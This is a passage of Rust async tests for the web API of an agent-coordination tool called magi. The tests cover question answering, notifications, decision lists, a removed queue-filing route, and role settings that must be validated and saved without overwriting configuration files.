13527        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13528        let mut task = Task::new(
13529            "t".to_owned(),
13530            "Do it".to_owned(),
13531            PathBuf::from("/repo/magi"),
13532            Source::Agent {
13533                run: talk.id.clone(),
13534                node: crate::queue::CHAT_NODE.to_owned(),
13535            },
13536        );
13537        task.start("20260902-000000-beef".to_owned());
13538        fx.queue().put(&mut task).unwrap();
13539
13540        let path = format!("/api/questions/{id}/consult");
13541        let res = fx.post(&path, None).await;
13542        assert!(res.status >= 400, "{}", res.body);
13543        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13544        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13545
13546        std::fs::write(&toml, "").unwrap();
13547        let res = fx.post(&path, None).await;
13548        assert_eq!(res.status, 202, "{}", res.body);
13549        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13550        let q = fx.questions().get(&id).unwrap();
13551        assert!(q.status.open());
13552        assert!(q.answer.is_none());
13553        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13554        assert_eq!(res.json()["can_consult_chat"], true);
13555        let list = fx.get("/api/questions").await.json();
13556        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13557        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13558
13559        let res = fx
13560            .post(
13561                &format!("/api/questions/{id}/answer"),
13562                Some(r#"{"choice":"hold"}"#),
13563            )
13564            .await;
13565        assert_eq!(res.status, 200, "{}", res.body);
13566        assert_eq!(res.json()["answer"]["choice"], "hold");
13567        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13568        assert_eq!(res.json()["can_consult_chat"], false);
13569        assert_eq!(fx.post(&path, None).await.status, 409);
13570
13571        let mut talk = fx.talks().get(&talk.id).unwrap();
13572        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13573        let list = fx.get("/api/questions").await.json();
13574        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13575        assert_eq!(list[0]["origin_chat_closed"], true);
13576        assert_eq!(list[0]["can_consult_chat"], false);
13577
13578        fx.talks().remove(&talk.id).unwrap();
13579        let list = fx.get("/api/questions").await.json();
13580        assert_eq!(list[0]["origin_chat"], Value::Null);
13581        assert_eq!(list[0]["origin_chat_closed"], false);
13582        assert_eq!(list[0]["can_consult_chat"], false);
13583    }
13584
13585    #[tokio::test]
13586    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13587        let fx = Fixture::start().await;
13588        let store = fx.questions();
13589        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13590        store.beat(&id, ask::WaiterKind::Asker);
13591        assert_eq!(
13592            fx.get("/api/health").await.json()["questions_needs_owner"],
13593            1
13594        );
13595
13596        // The owner asks back instead of deciding: the ask bar, the nav badge
13597        // and the title must stop naming this question, because there is
13598        // nothing to decide until the agent answers - `status` alone cannot
13599        // say that, which is the whole reason `questions_needs_owner` exists
13600        // alongside `questions_open`.
13601        let res = fx
13602            .post(
13603                &format!("/api/questions/{id}/say"),
13604                Some(r#"{"body":"why not Postgres?"}"#),
13605            )
13606            .await;
13607        assert_eq!(res.status, 200, "{}", res.body);
13608        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13609        assert_eq!(
13610            fx.get("/api/health").await.json()["questions_needs_owner"],
13611            0,
13612            "waiting on the agent is not waiting on the owner"
13613        );
13614
13615        // `magi ask --thread` replying is what brings the owner count back -
13616        // the same event that would resume the CLI call blocked in `magi
13617        // ask`.
13618        let mut q = store.get(&id).expect("get");
13619        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13620            .expect("reply");
13621        store.put(&mut q).expect("put");
13622        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13623        assert_eq!(
13624            fx.get("/api/health").await.json()["questions_needs_owner"],
13625            1,
13626            "the agent's reply is what should light the banner back up"
13627        );
13628    }
13629
13630    #[tokio::test]
13631    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13632        let fx = Fixture::start().await;
13633        let store = fx.questions();
13634
13635        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13636        let res = fx
13637            .post(
13638                &format!("/api/questions/{empty_id}/say"),
13639                Some(r#"{"body":"   "}"#),
13640            )
13641            .await;
13642        assert_eq!(res.status, 400, "{}", res.body);
13643
13644        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13645        let mut answered = store.get(&answered_id).expect("get");
13646        answered
13647            .answer(Answer::Choice("SQLite".to_owned()))
13648            .expect("answer");
13649        store.put(&mut answered).expect("put");
13650        let res = fx
13651            .post(
13652                &format!("/api/questions/{answered_id}/say"),
13653                Some(r#"{"body":"still there?"}"#),
13654            )
13655            .await;
13656        assert_eq!(res.status, 409, "{}", res.body);
13657
13658        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13659        let mut abandoned = store.get(&abandoned_id).expect("get");
13660        abandoned.abandon("timed out");
13661        store.put(&mut abandoned).expect("put");
13662        let res = fx
13663            .post(
13664                &format!("/api/questions/{abandoned_id}/say"),
13665                Some(r#"{"body":"still there?"}"#),
13666            )
13667            .await;
13668        assert_eq!(res.status, 409, "{}", res.body);
13669    }
13670
13671    #[tokio::test]
13672    async fn an_answer_the_question_does_not_offer_is_refused() {
13673        let fx = Fixture::start().await;
13674        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13675        let path = format!("/api/questions/{id}/answer");
13676
13677        for body in [
13678            r#"{"choice":"Postgres"}"#,
13679            r#"{"text":"whatever you think"}"#,
13680            r#"{"choice":"Redis","text":"both"}"#,
13681            r#"{}"#,
13682        ] {
13683            let res = fx.post(&path, Some(body)).await;
13684            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13685            assert!(res.json()["error"].is_string(), "{}", res.body);
13686        }
13687        // Nothing above may have answered it.
13688        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13689    }
13690
13691    #[tokio::test]
13692    async fn a_free_text_question_takes_text_and_not_a_choice() {
13693        let fx = Fixture::start().await;
13694        let id = ask(&fx, "What should the flag be called?", &[]);
13695        fx.questions().beat(&id, ask::WaiterKind::Asker);
13696        let path = format!("/api/questions/{id}/answer");
13697
13698        assert_eq!(
13699            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13700            400
13701        );
13702        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13703        assert_eq!(res.status, 200, "{}", res.body);
13704        assert_eq!(res.json()["answer"]["text"], "--json");
13705    }
13706
13707    #[tokio::test]
13708    async fn an_unknown_question_is_a_json_404() {
13709        let fx = Fixture::start().await;
13710        let res = fx
13711            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13712            .await;
13713        assert_eq!(res.status, 404, "{}", res.body);
13714        assert!(res.json()["error"].is_string());
13715    }
13716
13717    #[tokio::test]
13718    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13719        let fx = Fixture::start().await;
13720        let questions = Questions::at(fx.home.path().join("questions"));
13721        let store = Notices::at(fx.home.path().join("notifications"));
13722        let mut q = ask::Question::new(
13723            "t1".into(),
13724            "conduct".into(),
13725            "conductor".into(),
13726            "Continue?".into(),
13727            String::new(),
13728            Vec::new(),
13729        );
13730        questions.put(&mut q).unwrap();
13731        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13732        n.covered_by = Some(q.id.clone());
13733        let n = store.raise(n).unwrap();
13734        let listed = fx.get("/api/notifications").await.json();
13735        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13736        questions
13737            .update(&q.id, |q| {
13738                q.abandon("run gone");
13739                Ok(())
13740            })
13741            .unwrap();
13742        let listed = fx.get("/api/notifications").await.json();
13743        assert!(listed["items"][0]["answerable_question"].is_null());
13744        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13745        assert!(
13746            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13747                .unwrap()
13748                .contains("answerable_question")
13749        );
13750    }
13751
13752    #[tokio::test]
13753    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13754        let fx = Fixture::start().await;
13755        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13756        let task = crate::queue::Task::new(
13757            "work".into(),
13758            "work".into(),
13759            fx.home.path().into(),
13760            crate::queue::Source::Human,
13761        );
13762        let inquiry = outbox
13763            .file(&task, None, "test".into(), "入力待ち", "詳細")
13764            .unwrap();
13765        let root = fx.home.path().join("notifications/task-inquiries");
13766        std::fs::write(root.join("broken.json"), "{").unwrap();
13767        let mut unsupported = inquiry.clone();
13768        unsupported.id = "unsupported".into();
13769        unsupported.schema = 99;
13770        std::fs::write(
13771            root.join("unsupported.json"),
13772            serde_json::to_vec(&unsupported).unwrap(),
13773        )
13774        .unwrap();
13775        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13776        for _ in 0..2 {
13777            let response = fx.get("/api/decisions").await;
13778            assert_eq!(response.status, 200, "{}", response.body);
13779            let listed = response.json();
13780            assert_eq!(listed["unreadable"], 2);
13781            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13782            assert_eq!(listed["items"][0]["id"], inquiry.id);
13783            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13784        }
13785        assert_eq!(
13786            before,
13787            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13788        );
13789        assert!(outbox.list().is_err());
13790        std::fs::remove_file(root.join("broken.json")).unwrap();
13791        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13792        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13793    }
13794
13795    #[tokio::test]
13796    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13797        let fx = Fixture::start().await;
13798        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13799        std::fs::create_dir_all(&root).unwrap();
13800        let journal = serde_json::json!({
13801            "schema": 1, "pending": ["saved-inquiry"],
13802            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13803        });
13804        let bytes = serde_json::to_vec(&journal).unwrap();
13805        std::fs::write(root.join("state.json"), &bytes).unwrap();
13806        for _ in 0..2 {
13807            let response = fx.get("/api/decisions").await;
13808            assert_eq!(response.status, 200);
13809            let listed = response.json();
13810            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13811            assert!(listed["items"].as_array().unwrap().is_empty());
13812            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13813        }
13814        // An unreadable journal must not make the endpoint hide the list.
13815        std::fs::write(root.join("state.json"), b"{").unwrap();
13816        let response = fx.get("/api/decisions").await;
13817        assert_eq!(response.status, 200);
13818        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13819    }
13820
13821    #[tokio::test]
13822    async fn notifications_list_read_dismiss_and_health_agree() {
13823        let fx = Fixture::start().await;
13824        let store = Notices::at(fx.home.path().join("notifications"));
13825        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13826        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13827
13828        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13829        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13830
13831        store
13832            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13833            .unwrap();
13834        let health = fx.get("/api/health").await.json();
13835        assert_eq!(health["notifications_unread"], 2);
13836        assert_ne!(
13837            health["notifications_rev"], rev0,
13838            "the badge must move live"
13839        );
13840
13841        let listed = fx.get("/api/notifications").await.json();
13842        assert_eq!(listed["unread"], 2);
13843        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13844        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13845
13846        let read = fx
13847            .post(&format!("/api/notifications/{}/read", a.id), None)
13848            .await;
13849        assert_eq!(read.status, 200, "{}", read.body);
13850        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13851
13852        let gone = fx
13853            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13854            .await;
13855        assert_eq!(gone.status, 200, "{}", gone.body);
13856        let listed = fx.get("/api/notifications").await.json();
13857        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13858        assert_eq!(listed["unread"], 0);
13859
13860        store.raise(Notice::info("x", "again")).unwrap();
13861        let all = fx.post("/api/notifications/read-all", None).await;
13862        assert_eq!(all.status, 200, "{}", all.body);
13863        assert_eq!(all.json()["marked"], 1);
13864        assert_eq!(
13865            fx.get("/api/health").await.json()["notifications_unread"],
13866            0
13867        );
13868
13869        let missing = fx.post("/api/notifications/nope/read", None).await;
13870        assert_eq!(missing.status, 404, "{}", missing.body);
13871        assert!(missing.json()["error"].is_string());
13872    }
13873
13874    /// New work reaches the queue through `magi task add`, a standing talk's
13875    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13876    /// so the compose form and that route are gone. The tests that covered
13877    /// that route's validation went with it, and nothing was left asserting
13878    /// it stays gone — so a re-added handler would silently let the phone
13879    /// file briefs no one validated.
13880    #[tokio::test]
13881    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13882        let f = Fixture::start().await;
13883
13884        let res = f
13885            .post(
13886                "/api/queue",
13887                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13888            )
13889            .await;
13890
13891        assert_eq!(
13892            res.status, 405,
13893            "POST /api/queue must not be a route: {}",
13894            res.body
13895        );
13896        assert!(
13897            f.queue().list().is_empty(),
13898            "a task filed by a route that does not exist must not reach the disk"
13899        );
13900        // The path itself is still served — the Queue view reads it — and the
13901        // per-task controls are untouched by the entry being removed.
13902        assert_eq!(f.get("/api/queue").await.status, 200);
13903    }
13904
13905    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13906    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13907        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13908            .expect("checkout dir");
13909    }
13910
13911    /// Two command agents, so a config needs no real CLI.
13912    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13913
13914    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13915        let tmp = TempDir::new().expect("tempdir");
13916        let repo = tmp.path().join("repo");
13917        std::fs::create_dir_all(&repo).expect("repo dir");
13918        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13919        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13920        if let Some(text) = machine_toml {
13921            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13922            std::fs::write(&machine, text).expect("machine toml");
13923        }
13924        (tmp, repo, machine)
13925    }
13926
13927    async fn settings_checkout(path: &FsPath, text: &str) {
13928        std::fs::create_dir_all(path).unwrap();
13929        std::fs::write(path.join("magi.toml"), text).unwrap();
13930        for args in [
13931            vec!["init", "-b", "main"],
13932            vec!["add", "magi.toml"],
13933            vec![
13934                "-c",
13935                "user.name=Test",
13936                "-c",
13937                "user.email=test@example.invalid",
13938                "commit",
13939                "-m",
13940                "fixture",
13941            ],
13942            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13943            vec![
13944                "symbolic-ref",
13945                "refs/remotes/origin/HEAD",
13946                "refs/remotes/origin/main",
13947            ],
13948        ] {
13949            crate::git::git(path, &args).await.unwrap();
13950        }
13951    }
13952
13953    #[tokio::test]
13954    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13955        let (tmp, repo, machine) =
13956            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13957        let root = tmp.path().join("roots");
13958        let selected = root.join("host/owner/selected");
13959        settings_checkout(
13960            &selected,
13961            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13962        )
13963        .await;
13964        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13965        let before = std::fs::read(&machine).unwrap();
13966        let ui = Arc::new(
13967            Ui::new(
13968                Queue::at(tmp.path().join("queue")),
13969                Questions::at(tmp.path().join("questions")),
13970                Talks::at(tmp.path().join("talks")),
13971                tmp.path().join("runs"),
13972                tmp.path().to_path_buf(),
13973                repo.clone(),
13974            )
13975            .with_machine_config(Some(machine.clone())),
13976        );
13977        let query = || {
13978            Query(SettingsQuery {
13979                repo: Some(selected.clone()),
13980            })
13981        };
13982        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13983        assert!(v.error.is_none(), "{:?}", v.error);
13984        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13985        assert_eq!(conductor.source, "repo");
13986        assert_eq!(
13987            conductor.machine_value,
13988            Some(toml::Value::String("a".into()))
13989        );
13990        assert!(!conductor.editable);
13991        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13992        assert_eq!(
13993            judges.count.as_ref().unwrap().machine_value,
13994            Some(toml::Value::Integer(1))
13995        );
13996        assert!(
13997            !v.roles
13998                .iter()
13999                .find(|r| r.key == "reviewers")
14000                .unwrap()
14001                .editable
14002        );
14003        let unknown = || {
14004            Query(SettingsQuery {
14005                repo: Some(tmp.path().to_path_buf()),
14006            })
14007        };
14008        assert_eq!(
14009            settings_get(State(ui.clone()), unknown())
14010                .await
14011                .unwrap_err()
14012                .status,
14013            StatusCode::UNPROCESSABLE_ENTITY
14014        );
14015        let body = || {
14016            Ok(Json(RolesBody {
14017                revision: v.revision.clone(),
14018                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14019                counts: Default::default(),
14020            }))
14021        };
14022        assert_eq!(
14023            settings_put_roles(State(ui.clone()), unknown(), body())
14024                .await
14025                .unwrap_err()
14026                .status,
14027            StatusCode::UNPROCESSABLE_ENTITY
14028        );
14029        assert_eq!(std::fs::read(&machine).unwrap(), before);
14030        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14031            .await
14032            .unwrap();
14033        assert_eq!(
14034            saved.repo,
14035            selected.canonicalize().unwrap().display().to_string()
14036        );
14037        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14038        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14039        // A cache miss refreshes the stable candidate list exactly for validation.
14040        let fresh = root.join("host/owner/fresh");
14041        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14042        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14043            .await
14044            .unwrap();
14045        assert_eq!(fresh_view.repositories.len(), 3);
14046    }
14047
14048    #[tokio::test]
14049    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14050        let (tmp, repo, machine) = settings_dirs(
14051            "[roles]\nreviewers = [\"a\"]\n",
14052            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14053        );
14054        let root = tmp.path().join("roots");
14055        let selected = root.join("host/owner/selected");
14056        settings_checkout(
14057            &selected,
14058            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14059        )
14060        .await;
14061        let broken = root.join("host/owner/broken");
14062        settings_checkout(&broken, "[roles\nbroken").await;
14063        let machine_text = format!(
14064            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14065            toml::Value::String(root.display().to_string())
14066        );
14067        std::fs::write(&machine, &machine_text).unwrap();
14068        let originals: Vec<_> = [&repo, &selected, &broken]
14069            .iter()
14070            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14071            .collect();
14072        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14073        let default = f.get("/api/settings").await.json();
14074        assert_eq!(
14075            default["repo"],
14076            repo.canonicalize().unwrap().display().to_string()
14077        );
14078        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14079        let query = format!("?repo={}", selected.display());
14080        let res = f.get(&format!("/api/settings{query}")).await;
14081        assert_eq!(res.status, 200, "{}", res.body);
14082        let v = res.json();
14083        assert!(v["error"].is_null(), "{v}");
14084        assert_eq!(v["repositories"], default["repositories"]);
14085        let role = |key: &str| {
14086            v["roles"]
14087                .as_array()
14088                .unwrap()
14089                .iter()
14090                .find(|r| r["key"] == key)
14091                .unwrap()
14092        };
14093        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14094        assert_eq!(role("advisors")["source"], "repo");
14095        assert_eq!(role("advisors")["editable"], false);
14096        assert!(role("advisors")["machine_value"].is_null());
14097        assert_eq!(role("judges")["count"]["value"], 2);
14098        assert_eq!(role("judges")["count"]["machine_value"], 1);
14099        assert_eq!(role("judges")["count"]["source"], "repo");
14100        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14101        assert!(
14102            source.contains("origin/main") && !source.contains("magi/config/"),
14103            "{source}"
14104        );
14105        assert_eq!(
14106            role("reviewers")["editable"],
14107            false,
14108            "default context outside roots must protect its declarations"
14109        );
14110        let body =
14111            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14112        let unknown = format!("?repo={}", tmp.path().display());
14113        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14114        assert_eq!(
14115            f.put(&format!("/api/settings/roles{unknown}"), &body)
14116                .await
14117                .status,
14118            422
14119        );
14120        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14121        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14122            .to_string();
14123        assert_eq!(
14124            f.put(&format!("/api/settings/roles{query}"), &refuse)
14125                .await
14126                .status,
14127            422
14128        );
14129        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14130        assert_eq!(saved.status, 200, "{}", saved.body);
14131        assert_eq!(saved.json()["repo"], v["repo"]);
14132        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14133        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14134        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14135            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14136        }
14137        let error = f
14138            .get(&format!("/api/settings?repo={}", broken.display()))
14139            .await;
14140        assert_eq!(error.status, 200);
14141        assert!(error.json()["error"]["message"].is_string());
14142        assert_eq!(error.json()["repositories"], default["repositories"]);
14143    }
14144
14145    #[tokio::test]
14146    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14147        let (_tmp, repo, machine) =
14148            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14149        let f = Fixture::with_repo_and_machine(repo, machine).await;
14150        let res = f.get("/api/settings").await;
14151        assert_eq!(res.status, 200, "{}", res.body);
14152        let v = res.json();
14153        assert!(v["error"].is_null(), "{v}");
14154        let role = |k: &str| {
14155            v["roles"]
14156                .as_array()
14157                .and_then(|r| r.iter().find(|x| x["key"] == k))
14158                .cloned()
14159                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14160        };
14161        assert_eq!(role("judges")["source"], "machine");
14162        assert_eq!(role("judges")["editable"], true);
14163        assert_eq!(role("implementers")["source"], "default");
14164        let adv = role("advisors");
14165        assert_eq!(adv["fallback"], "judges");
14166        assert!(
14167            adv["seats"]
14168                .as_array()
14169                .is_some_and(|s| s.iter().all(|x| x == "b")),
14170            "{adv}"
14171        );
14172        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14173        assert_eq!(v["agents"][0]["source"], "repo");
14174    }
14175
14176    #[tokio::test]
14177    async fn settings_get_reports_a_config_that_does_not_parse() {
14178        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14179        let f = Fixture::with_repo_and_machine(repo, machine).await;
14180        let res = f.get("/api/settings").await;
14181        assert_eq!(res.status, 200, "{}", res.body);
14182        let v = res.json();
14183        assert!(v["error"]["message"].is_string(), "{v}");
14184        assert!(
14185            v["error"]["path"]
14186                .as_str()
14187                .is_some_and(|p| p.ends_with("magi.toml")),
14188            "{v}"
14189        );
14190        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14191    }
14192
14193    #[tokio::test]
14194    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14195        let (_tmp, repo, machine) = settings_dirs(
14196            SETTINGS_AGENTS,
14197            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14198        );
14199        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14200        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14201        let rev = f.get("/api/settings").await.json()["revision"]
14202            .as_str()
14203            .expect("revision")
14204            .to_owned();
14205        let body = serde_json::json!({
14206            "revision": rev,
14207            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14208        })
14209        .to_string();
14210        let res = f.put("/api/settings/roles", &body).await;
14211        assert_eq!(res.status, 200, "{}", res.body);
14212        let text = std::fs::read_to_string(&machine).expect("machine");
14213        assert_eq!(
14214            text,
14215            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14216        );
14217        assert_eq!(
14218            std::fs::read(repo.join("magi.toml")).expect("read"),
14219            repo_before
14220        );
14221        let again = f.get("/api/settings").await.json();
14222        let judges = again["roles"]
14223            .as_array()
14224            .expect("roles")
14225            .iter()
14226            .find(|r| r["key"] == "judges")
14227            .expect("judges")
14228            .clone();
14229        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14230        // The old revision is now stale.
14231        let stale = f.put("/api/settings/roles", &body).await;
14232        assert_eq!(stale.status, 409, "{}", stale.body);
14233    }
14234
14235    #[tokio::test]
14236    async fn settings_counts_are_reported_and_saved() {
14237        let (_tmp, repo, machine) = settings_dirs(
14238            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14239            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14240        );
14241        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14242        let v = f.get("/api/settings").await.json();
14243        let count = |v: &serde_json::Value, k: &str| {
14244            v["roles"]
14245                .as_array()
14246                .and_then(|r| r.iter().find(|x| x["key"] == k))
14247                .map(|x| x["count"].clone())
14248                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14249        };
14250        let imp = count(&v, "implementers");
14251        assert_eq!(imp["value"], 2);
14252        assert_eq!(imp["source"], "machine");
14253        assert_eq!(imp["file_key"], "candidates");
14254        assert_eq!(imp["roster_len"], 2);
14255        assert_eq!(imp["backups"], 0);
14256        assert_eq!(count(&v, "judges")["source"], "default");
14257        assert_eq!(count(&v, "advisors")["min"], 0);
14258        assert_eq!(count(&v, "reviewers")["editable"], false);
14259        assert!(
14260            count(&v, "reviewers")["locked_reason"]
14261                .as_str()
14262                .is_some_and(|m| m.contains("graph.reviewers"))
14263        );
14264        assert!(count(&v, "fixer").is_null());
14265        let rev = v["revision"].as_str().expect("revision").to_owned();
14266        let body = serde_json::json!({
14267            "revision": rev,
14268            "roles": { "judges": ["b"] },
14269            "counts": { "implementers": 1, "advisors": 0 }
14270        })
14271        .to_string();
14272        let res = f.put("/api/settings/roles", &body).await;
14273        assert_eq!(res.status, 200, "{}", res.body);
14274        let text = std::fs::read_to_string(&machine).expect("machine");
14275        assert_eq!(
14276            text,
14277            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14278        );
14279        let after = f.get("/api/settings").await.json();
14280        assert_eq!(count(&after, "implementers")["value"], 1);
14281        assert_eq!(count(&after, "implementers")["backups"], 1);
14282        assert_eq!(count(&after, "advisors")["value"], 0);
14283        let before = std::fs::read_to_string(&machine).expect("machine");
14284        let rev = after["revision"].as_str().expect("revision").to_owned();
14285        for counts in [
14286            serde_json::json!({ "judges": 0 }),
14287            serde_json::json!({ "judges": "x" }),
14288            serde_json::json!({ "judges": 2.5 }),
14289            serde_json::json!({ "judges": -1 }),
14290            serde_json::json!({ "reviewers": 3 }),
14291            serde_json::json!({ "bogus": 3 }),
14292        ] {
14293            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14294            let res = f.put("/api/settings/roles", &body).await;
14295            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14296            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14297        }
14298    }
14299
14300    #[tokio::test]
14301    async fn settings_put_refuses_without_touching_the_file() {
14302        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14303        let (_tmp, repo, machine) = settings_dirs(
14304            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14305            Some(machine_text),
14306        );
14307        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14308        let rev = f.get("/api/settings").await.json()["revision"]
14309            .as_str()
14310            .expect("revision")
14311            .to_owned();
14312        for roles in [
14313            serde_json::json!({ "judges": ["nope"] }),
14314            serde_json::json!({ "reviewers": ["b"] }),
14315            serde_json::json!({ "bogus": ["a"] }),
14316        ] {
14317            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14318            let res = f.put("/api/settings/roles", &body).await;
14319            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14320            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14321            assert_eq!(
14322                std::fs::read_to_string(&machine).expect("machine"),
14323                machine_text
14324            );
14325        }
14326    }
14327
14328    #[tokio::test]
14329    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14330        let tmp = TempDir::new().expect("tempdir");
14331        let repo = tmp.path().join("repo");
14332        std::fs::create_dir_all(&repo).expect("repo dir");
